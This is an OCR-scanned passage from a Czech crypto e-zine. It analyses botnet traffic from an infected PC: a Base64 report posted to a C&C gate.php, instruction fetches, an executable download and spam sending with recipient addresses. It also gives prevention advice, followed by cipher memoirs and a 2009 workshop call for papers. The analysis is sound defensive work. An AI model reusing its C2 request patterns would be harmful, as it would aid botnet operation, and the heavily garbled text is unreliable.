1372 36.781146 213.155.6. 34 TCP [TCF segment of a reassembled PDU]

1373 36.782968 213.155.6.34
1374 36.877689 213.155.6.34
7.931458 213.155.6.34
7.931696 213.155.6.34

TCP http = nicelink [ACK] Seg=1 Ack=2921 wWin=11¢
TCP http > nicelink [ACK] Seqg=1 Ack=3835 win=14¢
HTTP  HTTP/1.1 200 OK

http = nicelink

[FIN,

ACK] 5eg=187 Ack 3835

Ukéazka komunikace:

PCST /gate/ gate. php HTTP/ 1.0

Host: mi xmedi adirect. cn

Cont ent - Type: application/x-wwform url encoded

Connection: Keep-Alive

Pragnma: no-cache

User-Agent: Mozilla/4.0 (conpatible; MSIE 6.0; Wndows NI 5.1; SVi;
InfoPath.2; .NET CLR 2.0.50727; |nfoPath.1)

Cont ent - Lengt h: 3582

a=sdf sdf sdnj f ksf hskdf hs @df sdf sf sd. com&b=ny_r eport &=r eport . bi n&=UDNNTAAAA
ACNCAAAEQAAAAAAAAAI AAAAZ3VZA J GQYSAAAAAAAAABAAAADZ BWQAAWAPAAWACQATAG AEWAA
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AAAAAACK AAAAD AAAAANMAAAASN] 4Ny 02NDEE Nj ESNTQwMVY Oy Mz g2 MQAUAAAAQTI y L TAWVDAX AAA
AAAAAAKI sf ExGI6bQnhFNFEf EAWAAAAAA

Cely pozadavek s odpdli je uveden vifloze - HTTP Pozadavek — Odesilani informaci o
stanici

Report je v binarnim formatu a je prdepun kdédovan v Base64lkazka dekdédovaného
reportu je uvedena vifloze — HTTP poZadavek - Detail hldSeni stanice

Nasledr se pravidel& prihlasSuje k botnet controlleru.

Mo, - Time Source Destination Protocol | Info
1382 71.428651 NG 1. 54.77.82 TCP cnrprotocol = http [SYN] Seq=0 Win=65535 Len=0 M55=1450

1383 71.574779 74.54.77.82 I P http = cnrprotocol [SYN, ACK] seq=0 Ack=l Win=5840 Len=0 M55=1460
1384 71.575518 74. 54 il
| 1385 71.5/6109 ] | o
1386 71.720373 74.54.77.82 http > cnrprotucu'l [FIN ACK] Seq 1 Ack=1 Win=53840 Len=0
TLp > CNrprotoco RST| Segq=1 win=0 Lern=0
cnrprotocol = http [ACK] Seq=113 Ack=2 win=65335 Len=0
cnrprotocol = http [FIN, ACK] Seq=113 Ack=2 Win=65535 Len=0
.B67013 74.54.77.82 LLp > Cnrprotoco RST| Seq=2 win=0 Lern=0
. 867314 74.54.77.82 TLp > CNrprotoco RST| Segq=2 win=0 Lern=0
Vyzadana URL:

/ 40E8001442563263303063633764352D35383036376420646C0000018A660
00000007600000642EBO00530A3ACB4BB HTTP/ 1.0

Od controlleru 74.54.135.202 (Houston, Texas, U8kava dalSi instrukce v binarnim
formétu.

Mo, - Time Source Destination Protocol | Info

97 9 6633]  [74.54. c sunc lustermgr > http [SYN i
1398 92.137329 74.54.135.202 | T-F http = sunclustermgr [S¥N, ACK] Seq=0 Ack=1 Win=5840 Len=0 M5!
1399 92. 138770 N ;- 54-135.202 TCP sunclustermgr > http [ACK] Seg=1l Ack=l Win=65535 Len=0
1400 92.138791 74.54.135.202 HTTP GET /40ES001442563263303063633764352035363036370420646C0000011
1401 92.519329 74.54.135.202 TCR http = sunclustermgr [ACK] Seg=1 Ack=113 win=3840 Len=0
1402 92.546801 74.54.135.202 I -F [TCP segment of a reassembled PDU]
1403 92.547654 74.54.135.202 I -F [TcP segment of a reassembled pDU]
1404 92.550885 NG . 54.135. 202 TCP sunclustermgr > http [ACK] Seg=113 Ack=2921 wWin=65535 Len=0
1405 92.952276 74.54.135.202 I - [TCP segment of a reassembled PDU]
1406 92.952401 74.54.135.202 I -F [TCP segment of a reassembled PDU]
1407 92.952522 74.54.135.202 TCP [TCP segment of a reassembled PDU]
1408 9z.933927 N . 5. 135.202 TCP sunclustermgr = http [ACK] Seg=113 Ack=3841 wWin=853535 Len=0
1409 93.061606 I . 54.135.202 TCR sunclustermgr > http [ACK] Seg=113 Ack=F301 win=853535 Len=0

Vyzadana URL:

GET

/ 40E8001442563263303063633764352D35383036376420646C0000018A6600000000760000
0642EB000530A3ACB4BB HTTP/ 1.0

Bot prav@&podobr ziskal instrukce k rozesilani SPAMu pro dittka a zombie se Zma
rozhlizet po dostupnych SMTP serverech.

Mo, - Time: Source Destination Protocol | Info
1508 96.626274 NN - standard query A mxs.mail.ru
1509 96.653913 NN 1°3.0.14.129 DNS Standard query N5 com
1510 96.661961 195.24.77.209 NN cF global-wlink > rmiactivation [SYN, ACK] Seq=0 Ack=1l win=5840 Len=0 M55=
1511 96.664171 o TCP rmiactivation > global-wlink [ACK] Seg=1 Ack=1 Win=65535 Len=0
1512 96.664187 TCP rmiactivation = global-wlink [PSH, ACK] Seg=1 Ack=1l wWin=65535 Len=32
1513 96. 674062 DNS Standard query respaonse

1514 96.684739 DNS standard query NS org
1515 96.687445 TCP global-wlink = rmiactivation [ACK] Seq=1 Ack=33 wWin=5840 Len=0
1516 7312 TCP global-wlink > rmiactivation [PSH, ACK] Seg=1 Ack=33 Win=5840 Len=443

1517 96.789084
1518 96.796033

DNS standard query response A 94.100.176.20

DNS standard guery A gmail-smtp-in.1.google.com

1519 96.853512 DNS standard query A coghecup.cn

1520 96. 874515 TCP rmiactivation = global-wlink [ACK] Seg=33 Ack=444 wWin=65092 Len=0
1521 96. 884280 198.41.0.4 I o standard guery response

1522 96. 889754 192.203.230.10 DNS standard query N5 de

DNS standard guery response A 209.85.218.68

DNS standard guery A gsmtpl&3.google.com

1523 96.900245

1524 96.901674

1525 97.018055 DNS standard query response A 64.233.183.27

1526 97.019609 - DNS standard query A inl.smtp.messagingengine. com

1527 192.203.230.10 DNS standard guery response
1528 97.167512 DNS standard query response A 66.111.4.70 A 66.111.4.71 A 66.111.4.72 A 66.
1529 97.169413 DNS standard guery A mail7.digitalwaves.co.nz
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Nasled’ se gihlasSuje k botnetu a ziskava instrukce ke stazespiug¢ni souboru z IP adresy
83.133.127.5 (Hausham, Bavorskanhecko).

Mo, - Time Source Destination Protocal | Info
1576 111. 95169 NG 55.133.127.5 TCP 'iso'ips‘igport—z = http [5YN] Seq=0 Win=65535 Len=0 M55=14860
1577 111.970564 83.1232.127.5 I 1CF http = isoipsigport-2 [5YN, ACK] Seg=0 Ack=l Win=5840 Len=0 M55=1460
1578 111. 97145 NN 55.133.127.5 TCP isoipsigport-2 = http [ACK] sSeg=1 Ack 1 win= 65535 Len=0
g . 97186 B3. . . bt. =& )4 [i] 5 p=268046&mi
1580 111.99166% §3.133.127.5 [N cF http = '|so'|ps‘|gp0rt -2 [ACK] Seq=1 Ack=242 win= 6432 Len=0
1581 113.89355¢ §3.133.127.5 [N HTTP  HTTP/1.1 200 0K (text/html)
1583 114.02470- N 55.133.127.5 TCP '|so'|ps‘|gp0rt—2 = http [ACK] Seq=242 Ack=239 Win=65297 Len=0
1689 119.48517C 83.133.127.5 TCP http = isoipsigport-2 [FIN, ACK] Seq=239 Ack=242 win=6432 Len=0

1690 119. 486201 GGG 55.133.127.5 TCP '|so'|ps‘|gp0rt -2 > http [AcK] Seg=242 Ack=240 Win=65297 Len=0
1694 120.65942¢ 83.133.127.5

Ukéazka komunikace:

GET / bt . php?nod=& d=j erry-04622da00_1620087188&up=268046&ni d=soboc43
HTTP/ 1.1

Accept: */*

Accept - Encodi ng: gzip, deflate

User-Agent: Mbzilla/4.0 (compatible; MSIE 6.0; Wndows NT 5.1; SV1)

Host: af 9f 440dcc. com

Connection: Keep-Alive

Cely pozadavek s odpdli je uveden vifloze - HTTP Pozadavek —/iRaz ke stazeni

souboru

Vlastni stazeni dalSi aplikace od dritka z IP 83.133.127.5 5 (Hausham, Bayern, Germany)

Mo, - Time Source Destination Protocol | Info

1582 113.91209: I BN DNS standard guery A spasioer.com
1583 ll—l 0247 6 I 53.133.127.5 TCP isoipsigport-2 > http [ACK] Seg=242 Ack 239 Win=65297 Len=0
Sstandard guery response A 6E.180.

1585 11-1.11826-1_ 68.180.151.74 TCP ratio-adp = http [5YN] Seq=0 win= 65535 Len=0 mM55=1440

1586 114.30321¢ 68.180.151.74 TCP http > ratio-adp [5YN, ACK] Seg=0 Ack=l Win=5840 Len=0 M55=148&(
1587 114.20404C N G5.1580.151.74 TCP ratio-adp = http [ACK] Seg=1 Ack=1 Win=63535 Len=0

1588 114, 20595 NG °5.1580.151.74 HTTF GET /74112.exe HTTP/1.1

1589 114,490844 68,180.151.74 NN TCF http > ratio-adp [ACK] Segq=1 Ack=186 Win=6432 Len=0
1590 114.501067 68.180.151.74 NG TCP [TCP segment of a reassembled PDU]

1591 114.50192¢ 68.180.151.74 NG TCP [TCP segment of a reassembled PDU]

1592 114.503141 [N Gc.150.151.74 TCP ratio-adp > http [ACK] Seg=186 Ack=2921 wWin=65535 Len=0
1593 114.690721 68.180.151.74 NG TCP [TCP segment of a reassembled PDU]

1594 114,691587 68.180.151.74 NN $TCF [TCP segment of a reassembled PDU]

1595 114, 69216¢ N -c.150.151.74 TCcP ratio-adp > http [ACK] Seg=186 Ack=4381 wWin=65535 Len=0
1596 114.693054 68.180.151.74 NN $TCF [TCP segment of a reassembled PDU]

1597 114, 69427 D 68.180.151.74  TCP ratio-adp > http [ACK] Seq=186 Ack=7301 win=65535 Len=0
1598 114. 880622 658.180.151.74 NG CF [TcP segment of a reassembled PDU]

1599 114, 881471 68.180.151.74 NG TCP [TCP segment of a reassembled PDU]

GET /7411 3. exe HITP/ 1.1

Accept: */*

Accept - Encodi ng: gzip, deflate

User-Agent: Mozilla/4.0 (conpatible; MSIE 6.0; Wndows NT 5.1; SV1)
Host: spaei oer.com

Connection: Keep-Alive

HTTP/ 1.1 200 OK

Date: Wed, 15 Apr 2009 10: 10: 58 GMI

Set - Cooki e:  BX=eq48j 354ubcl i &=3&s=02; expires=Tue, 02-Jun-2037 20:00: 00
GMI; pat h=/; donmi n=. spaei oer.com

P3P: policyref="http://info.yahoo.com w3c/p3p.xm", CP="CAO DSP COR CUR ADM
DEV TAI PSA PSD IVAI IVDH CONi TELo OTPi QUR DELi SAM OIRi UNR PUBi |ND
PHY ONL UNI PUR FI'N COM NAV | NT DEM CNT STA POL HEA PRE LOC GOV'
Last-Modified: Sat, 11 Apr 2009 11:37:24 GVIr

Accept - Ranges: bytes

Content - Lengt h: 72704

Cont ent - Type: application/octet-stream

Age: O

Connection: close

Server: YTS/1.17.13
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Rozesilani SPAMu

Posledni akce, ktera byla infikovanému stroji dewal, kdyZz dostal instrukce k rozeslani
SPAMu a z&al rozesilat.

Ma. - Time Source Destination Protocol | Info
332{} 18?.621854 _ 67.195.168. 31 TCP indigo-server > smtp [SYN] Seg=0 I|.\|'1n=|35535 Len=0 M55=1460
5YN, ACK| 5

- eq
332 18*. 26931 _ 67.195.168. 31 TCP indigo-server = smtp [ACK] Seqg=1 Ack 1 Win=63535 Len=0
3328 187.85425¢ 67.195.165.31 I -v7F 5: 220 mtal32.mail.act.yahoo.com ESMTP Ysmtp service ready
3335 187.96408< I ¢7.195.168.31 TCP indigo-server = smtp [ACK] Seq=1 Ack=538 Win=065478& Len=0
3386 188.72770: I 67.195.168.31 SMTP  C: EHLO
3397 188.833904 67.195.168. 31 NN SMTP 5: 250-mtal32.mail. ac4. yahoo. com 250-8BITMIME 250-5IZE 31
3398 186.96597: N -7.195.168. 31 TCP indigo-server > smtp [ACK] Seq=23 Ack=138 Win=65398 Len=0
3423 189.73350° I 57.195.168.31 SMTP  €: MAIL FROM:<mokk@bosglazier.com= | RCPT TO: <ondrugsagain@
3425 189.84750f 67.195.168.31 NI VTP S: 250 sender <mokk@bosglazier.com= ok
3432 189.969114 NN C7.195.168.31 TCP indigo-server = smtp [ACK] Seq=404 Ack=1735 wWin=65361 Len=0
3433 190.094964 67.195.168. 31 GG SMTP 5: 250 recipient <ondrugsagain@yahoo.com= ok 250 recipient
3438 190. 26719 <. 195.165.31 TCP indigo-server = smtp [ACK] Seq=404 Ack=611 wWin=64925 Len=0
3460 190. 732674 N -7.195.165. 31 IMF from: "Eula Metcalf" <mokk@bosglazier.coms, subject: re:, (1
3486 191. 350461 67.195.168.31 TCP smtp > indigo-server [ACK] Seq=611 Ack=1132 Win=65535 Len=0
3487 191. 38096 67.195.168.31 SMTP  5: 451 Message temporarily deferred - [70]
3486 191. 3843c( N 7.195.168. 31 TCP indigo-server = smtp [FIN, ACK] 5eq=1132 Ack=652 win=04884 L:¢
3523 191.50255¢ 67.195.168. 31 TCP smtp > indigo-server [ACK] Seq=652 Ack=1133 win=65535 Len=0
3524 191.50286¢ 67.195.168.31 TCP smtp > indigo-server [FIN, ACK] Seq=5652 Ack=1133 win=85535 L:¢
3525 191.50401° NN 67.195.168.31 TCP indigo-server = smtp [ACK] Seq=1133 Ack=653 Win=64884 Len=0

Ukézka hlaviky SPAMu:

220 ntal32.muil.ac4. yahoo.com ESMIP YSnt p service ready
EHLO { REMOVED} . { REMOVED}

250-nt al32. nai | . ac4. yahoo. com

250-8BI TM ME

250- Sl ZE 31981568

250 PI PELI NI NG

MAI L FROM <nmokk @osgl azi er. conp

RCPT TQO <ondrugsagai n@ahoo. conp
RCPT TO <starl_di va@ahoo. conr

RCPT TO <jen_jer_p@ahoo. conr

RCPT TO <terell noss2k5@ahoo. cone
RCPT TO <cnc53@ahoo. conp

RCPT TO <storm crow72842@ahoo. conr
RCPT TO <nmaxvarvak@ahoo. conr

RCPT TQO <bobi ray@ahoo. conp

RCPT TO <vanessaowens69@ahoo. conr
RCPT TO vanessa 06 _adri an@ahoo. com

Cely SPAM je uveden vifpze SMTP Pozadavek — Rozesilani SPAMu

Spousta antivirovych systénv doke, kdy se utok udal, nebyla schopna tuto infekcpoznat

a zakrgit proti ni (viz giloha — Test antivif). Nicmérgé to neznamena, Ze bychon nebyli
schopni tuto infeci rozpoznat. \tipadt, Ze je spravéh nastaveny firewall, ipadre je
nastaveny proxy server pr@igtup na internet, pak se daji neobvykla spojeristyDalSi
moznosti (hlavé v pripac rozsahlejSich siti) je instalace systému detekieil (Intrusion
Detection System), ktery je schopny provést anabjauu si& za naslUkazka vypisu Snort®
IDS systému je uvedenafilpze - HlaSeni IDS

V okamziku, kdy uténik ovladne poita¢ obsti a Usg@Sre pripoji zombie do botnetu, Zae
byt pasitaé velkou hrozbou v siti. Utmik ma gimy pristup do sit a nic mu nebrani
nainstalovat program na odposlouchavati\a# komunikace (sniffer), zaznamen&\kdaves
(keylogger) pipadré ziskat veSkeréifhlaSovaci Udaje. V s@asné dob je ve velké oblib
kradez pihlaSovacich udajna FTP a vkladani iframe do stranek, jak jsmelsegau popsali
v ¢ervnovenisle.

Prevence, detekce a eliminace nezadouciho malware

Prevence proti infekci malware z webovych strarebbtizna, nicménnasledujici opaeni
pomohou snizit riziko vzniku bezgeostnich inciderit
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- aktualizovany operai systém

- aktualizovany software, hlagnAdobe flash player, Java a dalSi, které zpracgivava
kod z internetu

- aktualizovany antivirovy systém

- pouzivani dopikt internetovych prohlize, které zabrani nawdt nezadoucich
stranek a vykonani nezadouciho kodu —ikdgod NoScript plugin pro Firefox

-V rozsahlejSich sitich —

o Vynutit pouZivani proxy serveru praigtup na internet. Na proxy serveru
nastavit filtrovani nezadouciho obsahu — ve spdkipse systemy typu
Websense ™ifipadré DansGuardian

o Provadt kontrolu navstivenych domén v logu proxy serveauhledat
abnormality (bezélvodn& ndv&va domény .cn nebo .ru)

o Nastavit systémy IDS (Intrusion Detection System)kantrolovat jejich
vystupy

o Nastavit centralni hlaseni antivirovych systéantato hlaseni sledovat

o Proskolit uzZivatele, aby &déli jak rozpoznat, Ze jejich @itac byl
pravdEpodobrt infikovan

Byl-li pocitac kompromitovan botnetem, pak nejlepSagpb odstragni veSkerych pastatka
je zéloha dat na a kompletni re-instalace. Poukegedgisté, Ze byly vSechny pogtatky

nezadoucich prograimodstragny. Hi zaloze (obzvlagtna USB a sbvé disky) je nutné
davat zvySeny pozor, aby nedoSlorkmosu malware spolu s daty.

Odkazy

[1] Vypisy z whois pes webovy prohlize— http://www.dnstools.com/

[2] Lokalizace IP na ze#skouli (GeolP) -http://www.maxmind.com/

[3] Antivirové testy libovolnych soubér- http://www.virustotal.com/

[4] Wireshark — n4stroj na analyz@@iého provozu -attp://www.wireshark.org/

[5] PSPad — jednoduchy (nejen) binarni free editdtp://www.pspad.com/cz/

[6] DansGuardian — Filtrovani obsahu pro Squid grox

http://dansguardian.org/?page=whatisdg

[7] R&Seni filtrovani obsahuhttp://www.websense.com/content/WebFilter.aspx

[8] Snort® — Open Source network Intrusion Detattimd Prevention System (IDS/IPS)

[9] Emerging threats — Komunitni sada pravidel frmrt® -http://emergingthreats.net
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E. Ze vzpominek armadniho Sifranta
Jeronym Knizek, knizek@centrum.cz

Tento strgny ¢lanek velmi volg navazuje nglanekPameéti armadniho Sifrantg ktery vySel

v e-zinu Crypto-World 10/2007 v ramci seriadu¥jin ¢eskoslovenské kryptografie

Oba odstavce jsouémovany osobnim vzpominkam na Sifrovani se kterymivanladi
seznamil. Vzpominky jsou &eny mladSimten&am, ale také jako dity obrazek obecnych
znalosti v dané déb MozZna v této souvislosti e gekvapit kvalita pouZzitych ,rnich”
Sifer .

Sifrovani 1 (J.K. 2. 8. 2009)

Kdyz jsem chodil dofeti fidy, za&ali jsme se podle zajindélit na jakési party a kazda parta

méla sva tajemstviiigd partami ostatnimi. NaSe parta si vyilotajné pismo a tim se jeji
¢lenové mezi sebou dorozumivali (posilanim iktese zaSifrovanym textem).

K Sifrovani je poteba:

1) Sifrovaci ki€ (abeceda sifazenymi znaky a popisem postupu),

2) oteveny text (uéeny k grevedeni na Sifrové znaky),

3) psaci patby a

4) prostedek dordeni - poseti schranka k dorteni / vyzvednuti tajné zpravy.

Kli¢ by mél byt snadno zapamatovatelny a znovu vyitetny zpangti. Z mnoha Sifrovacich
metod jsme si zvolili tzv. jednoduchou subsiitumetodu, kterou dale popiSu.

My jsme neli tento kli¢ pro pandt: Kruh o péméru asi 2 cm, A

B
rozélenény svislici a vodorovnowarou gfes sted. Tim vzniklo na o clo
styku kruhu a&ar 5 navzdjemiznych Kizi (jeden u stedu actyii na
kruhu), a pi detailnim pohledu bylo mozno ¥igt v kazdém HZi

Ctyfi jakési ahly, z nichZz kazdy se ozfilginym pismenem, nap ten \

horni: AB a pod tim CD; tim jsme rozmistili celke2 pismen. Pro
zbyvajicich 5 pismen je nutné vybrat feslalSi znaky a tottyti
jednoduché oblatky (na kruhu mezi Kzi) a pak mame k dispozici
jes€ dva znaky - svislou a vodorovngarku, tedy celkem 6 znakkterym gifadime zbyla
pismena mezinarodni zkracené abecedy, takzeeme pidat teba pismeno Q. Musime se
domluvit v jakém peadi a od kterého znakud&eme do né&tku s kruhem do ulbilkiiza a ke
zbyvajicim znakm abecedu vpisovat. Tento obraz si musime vrytatasp a kdykoli podle
potreby jej znovu vytvéit. Tim je kli¢ pripraven k pouziti - zaSifrovani nebo odSifrovani
textu. Sifrovy text tedy bude sloZen z jakychsititide jedno rameno bude kopirowsist
kruhu a druhé bude rovné (z okrajovydhizk), nebo budou abramena rovna (z vititiho
kiize), nebo jen oblaky, pomkku a svislowarku.

Zkracena mezinarodni abeceda ma 25 pismen:
ABCDEFGHIJKLMNOPRSTUYVXY Z éobsahuje tedy Q, W, ani pismena s
h&kem,carkou, nebo fehlaskou). Aby se dala i takova pismena Sifroekt se znkceni ap.
zapide sipdanim pismene X, n&pR=RX, A=AX, atd., ale Bzr¢ se vystai i bez X. Ripadna
¢isla se v textu musi vypsat slovem hap009=DVANULANULADEVET a konec ¥ty
(tecka) slovem STOP. Interputiki znaménka aj. (, - ? ! " / séi @ifrovani vynechéavaji, ale
daji se v nutnosti vypsat slovem.

Je mozné si domluvitipchod nacislice tim, Ze ve zpré@vnapiSeme CISLA a pak jako
jednikku uzijeme znak pro A, jako dvojku znak pro B, atid.cisla 9, jako nulu budeme
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uzivat znak pro X a jako konec uziva@gel znak pontka, takZze odtud dal zase plati jenom
pismenové znaky. Text piSeme dohromady, bez mezer.

Sifrovani 2 (J.K. 4. 8. 2009)

Klicem pro parst maze byt i nasledujici substitni metoda s tvorbou a uzitinfgwodove
tabulky pismen néisla a periodického hesla, kde Sifrovy text budéesh pouze #islic. Dale
ma byt smluveno, jak budouguavany zasifrované a potvrzovarrggbené zpravy, aj.

Postup Sifrovani:

1) Vytvorime si fevodovou tabulku pismen abecedy (nebékiterych slov) na dvojmistna
¢isla dohodnutym zjsobem (nap pod jednotlivd pismena mezinarodni zkracené alyece
25 pismenech napiSeme zlgaau dvojmistnycRislic patinaje dohodnutyngislem - teba
78 a dojdeme-li k¢islu 100 kdy jest vSechna pismenadislo nedostala, pak misto 100
napiSeme 00 a pokmgieme od 01 dale do konce abecedy.

2) Podle vytvoené gevodove tabulky fevedeme text zpravy rfaducislic.

Pokud by byl otekeny text dlouhy, budeme muset posla¥ dwebo i ti) raizné zpravy - na
konci té prvni v textu uvedeme POKRDVA (daligadre i POKRTRI) a na z&tku té
nasledujici rovéz POKRDVA (u teti POKRTRI).

3) Dohodneme slovni heslo o délce 5 az 10 pismepr.(PARDUBICE apod.), které
doplnime jeho opakovanim tak, abychom ziskali desett (tedy PARDUBICEP). Tato
pismena podle abecednihaigaku @islujemecislicemi od 0 do 9 a tim ziskame periodické
¢iselné heslo (zde tedy 6083915247).

4) Fipravime sictveretkovany papir k vlastnimu Sifrovani s pouzitim jethového oditani,
kde si vyznaime rekolik poli o ttech f&dcich. Do prvnihaadku vepiSeme bez mezer
opakovag za sebou periodické heslo (podle délky teee zpravy) a do dalSihadku
zapiSeme bez mezer (pdgdlice heslafisla pevedeného textu.

5) Tal zaine vlastni Sifrovani jednotkovym atitanim - odéitame vzdy jednu spodiislici

od jedné horni a kde by to neSlogtdime pomysla hornigislici o 10 (nap.: 8-5=3, 3-6=13-
6=7. Vysledek (bez desitkowsslice) piSeme do dalSikadku (ve stejném slougeu) a tim
postupr ziskdvame Sifrovy text.

6) Sifrovy text gepiSeme na zvlastni papir &timistnych skupinach a tak dostaneme
Sifrovanou zpravu, kterou i@eme ozn&t smluvenou adresou, datem a podpisertip(p
znakou) odesilatele.

7) Koncepty vzniklé Sifrovanim ponechame bergeuloZzené do doby, neZz adreséat potvrdi
piecteni zpravy a pak je ztime (spalime, aby z nich nikdo nemohl zjistit nasstpp
Sifrovani a popel rozatnime).

OdSifrovani:

1) Vytvorime si domluvenym postupenigyodovou tabulku.

2) Nad jednotlivécislice skupin doSlé zpravy opakowamapiSemecislice smluveného
periodického hesla.

3) Jednotkow¥ odtitamecislice zpravy od hesla (podle pelby pomysli zvétSit hornicislici o
10) a pod skupiny piSeme ziskané vysledky.

4) Podle pevodové tabulky fevedeme dvojice ziskanygislic zpst na pismena otéeného
textu.

5) Potvrdime odesilatelifgiteni otevené zpravy (smluvenym slovem) a vSechny makula
pouzité i odSifrovani spalime (popel rozinime).
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F. Pozvanka / Call for Papers -MikulaSska kryptobesidla
3. — 4. prosinec 2009, Praha, http://mkb.buslab.org

Zakladni informace

MikuldSska kryptobesidka se kona letos jiz podevéaté. Je zaméfena na podporu Uzké
spoluprace odbornikl se zajmem o teoretickou a aplikovanou kryptografii a dalSi pfibuzné
oblasti informaéni bezpecnosti. Hlavnim cilem je vytvofit prostfedi pro neformalni vyménu
informaci a napadd z minulych, sou€asnych i budoucich projektd. Citime potfebu setkani
expertu s jejich kolegy bez obchodnich vlivl, starosti s (potencialnimi) zakazniky, $éfy a
dalSimi rozptylujicimi faktory. ;-)

Workshop se sklada ze (a) dne prezentaci pfispévku, diskusi a neformalniho setkani ve
Ctvrtek 3. prosince 2009 a (b) puldne prezentaci pfispévkd a diskusi v péatek 4. prosince
2009. Pro workshop jsou domluveny zvané pfispévky:
» Kenny Paterson (Royal Holloway, UK): Cryptography and secure channels.
> Paul Leyland (Cepia Technologies, CR): Use of Graphics Processing Units in
cryptography.
» Otokar Gro3ek (Slovak University of Technology): Latin squares and cryptography.
> Vlastimil Klima (nezavisly kryptolog, CR): HaSovaci funkce SHA-3, BMW a EDON-R..
> Pavel Vondruska (Telefonica O2 Czech Republic): Vyvoj kryptografickych zarizeni
v CS(S)R.
Podrobné informace, véetné pokynu k registraci, se budou pribézné objevovat na www
strankach workshopu: http://mkb.buslab.org.

Loga sponzor

BUSLab"® EZCEPIA NS

TECHNOLOGIES

Pokyny pro autory

Prijimany jsou prispévky zamérené predevSim na oblasti kryptoanalyzy, aplikované
kryptografie, bezpe&nostnich aplikaci kryptografie a dalSich souvisejicich oblasti. Navrhy se
pFijimaji oddélené pro sekci KEYMAKER (studentskéa soutéz — viz dale) a pro hlavni program
workshopu. Oba druhy navrhd maji poZadovany rozsah 5-15 stran A4 a pfipravenost pro
anonymni hodnoceni (bez jmen autori a zjevnych odkazl). Identifikaéni a kontaktni Udaje
prosim poSlete vtéle e-mailu s pfispévkem jakoZzto pfilohou a jasnym oznacenim
KEYMAKER, nebo STANDARD TRACK.

Sablony pro forméatovani prispévka pro Word a LaTeX lze ziskat na www strankach

workshopu: http://mkb.buslab.org. Pfispévky mohou byt napsané v cestiné, slovensting,
nebo anglictiné.

PFispévky pfipravené podle vySe uvedenych pokynu zasilejte ve formatu RTF, nebo PDF a
to tak, aby na uvedenou adresu pfiSly nejpozdéji do 30. zafi 2009. Pro podavani pFispévki
prosim pouZzijte adresu matyas ZAVINAC fi.muni.cz a do pfedmétu zpravy uvedte ,MKB
2009 — navrh prispevku“. Pfijem navrhi bude potvrzovan do dvou pracovnich dnl od pfijeti.

Navrhy prispévku budou posouzeny PV a autofi budou informovani o pfijeti/odmitnuti do 30.
fijna. Pfispévek pro shornik workshopu pak musi byt dodan do 19. listopadu.
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KEYMAKER — Dodate éné informace

PFijimany jsou prfispévky zaméfené predevSim na oblasti kryptoanalyzy, aplikované
kryptografie, bezpe&nostnich aplikaci kryptografie a dalSich souvisejicich oblasti. Navrhy se
pfijimaji oddélené pro sekci KEYMAKER (studentska soutéZ) a pro hlavni program
workshopu. Pfispévek pro KEYMAKER ma pozadovany rozsah 5-15 stran A4 a pfipravenost
pro anonymni hodnoceni (bez jmen autord a zjevnych odkazu). Identifikaéni a kontaktni
Udaje prosim poSlete v téle e-mailu s pfispévkem jakozto pfilohou a jasnym oznacenim
KEYMAKER. Pfijimany jsou ¢lanky, bakalarské &i diplomové prace, nebo jind kvalitni
ucelena dila (dizertaCni préace lze podavat, ale preferovany jsou kvalitni ¢lanky/pfispévky, na
kterych dizertace stoji), kde v pfipadé rozsahu nad 15 stran poZadujeme vytah podstatného
obsahu v max. rozsahu 8 stran, s vlastni praci jako pfilohou.

Mezi autory nejlepSich pfispévkl, kde ocenéno bude min. 3 a max. 7 pfispévkl, budou
rozdéleny finanéni odmény v celkové vysi 125 tisic K¢. Navrhy pfispévkd budou posouzeny
PV a autofi budou informovani o pfijeti/odmitnuti do 30. fijna. PFispévek pak musi byt
prezentovan na workshopu.

Dulezité terminy

Navrhy pfispévku: 30. z&fi 2009
Oznameni o pfijeti/odmitnuti:  30. fijna 2009
Prispévky pro sbornik: 19. listopadu 2009
Konani MKB 2009: 3. — 4. prosince 2009

Programovy vybor

Jan Bouda, FI MU, Brno, CR Zdenék Riha, FI MU, Brno, CR
Petr Hanacek, FIT VUT v Brng, CR Ludék Smolik, Siegen, SRN
Vasek Matyas, FI MU, Brno, CR — pfedseda Jifi Tima, MFF UK, Praha, CR
Stefan Porubsky, Ul AV CR, Praha, CR Jozef Vlyskog, VaF, Rovinka, SR

Medialni partne Fi

i =
uy’

[\
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G. O ¢em jsme psali v zéi 2000 — 2008

Crypto-World 9/1999

A. Novy Sifrovy standard AES 1-2
B. O novém bez@mostnim problému v produktech Microsoftu 3-5
C. HPUX a UNIX Crypt Algoritmus 5

D. Letem "Sifrovym" s¥tem 5-7

E. e-mailové spojeni (aktualnighled) 7
Crypto-World 9/2000

A. Soutz ! Cast I. - Z&giname steganografii 2-5
B. Prehled standafdpro elektronické podpisy(P.Vondruska) 6-9
C. Kryptografie a normy I. (PKCS #1) (J.Pinkava) 10-13
D. P=NP aneb jak si vgtht miliony (P.Vondruska) 14-16
E. Hrajeme si s mobilnimi telefony (tipy a triky) 17

F. Letem Sifrovym sstem 18-19
G. Zavrecne informace 20

+ priloha : gold_bug.rtf
Dnesni pilohou je klasicka povidka The Gold Bug od Edgallar Poea (dalsi informace k
piiloze viz za¥r ¢lanku 'Cast I.- Z&iname steganografii” , str.10 ) .

Crypto-World 9/2001

A. Soutz 2001, Itast (Kodova kniha) (P.Vondruska) 2-8
B. Dostupnost informaci o ukdeni platnosti a zneplatni

kvalifikovaného certifikatu (P.Vondruska) -B)
C. Digitalni certifikaty,Céast 1. (J.Pinkava) 11-14
D. E-Europe (fehled aktualni legislativy v ES) (J.Hobza, P.Voistia) 15-16
E. Utok na RSAES-OAEP (J.Hobza) 17-18
F. Letem Sifrovym sstem 19-22
G. Zawreené informace 23
Crypto-World 9/2002
A. Deset krok k e-komunikaci obana se statem (P.Vondruska) 2-8
B. Digitalni certifikaty. IETF-PKIX¢ast 6. (J.Pinkava) 9-11
C. Elektronicky podpis - projekty v Evropské Unli¢ast (J.Pinkava) 12-16
D. Komparacé&eského zakona o elektronickém podpisu a slovenského

zakona o elektronickom podpiseighpednutim k plgni pozadavi

Smeérnice 1999/93/ES. kast (J.Hobza) 17-19
E. Komenték ¢lanku RNDr. Tes# : Runs Testy (L.Smolik) 20-22
F. Konference 23-25
G. Letem Sifrovym sstem 26-27
H. Zawrecné informace 28
Crypto-World 9/2003
A. Soutz 2003 zaina ! (P.Vondruska) 2-3
B. Cesta kryptologie do nového tisicileti Il. (Cakopove valky

k asymetrické kryptografii ) (P.Vondruska) 4-
C. Kryptografie a normy. Politika pro vydavani atriovych

certifikat, ¢ast 1. (J.Pinkava) 8-11
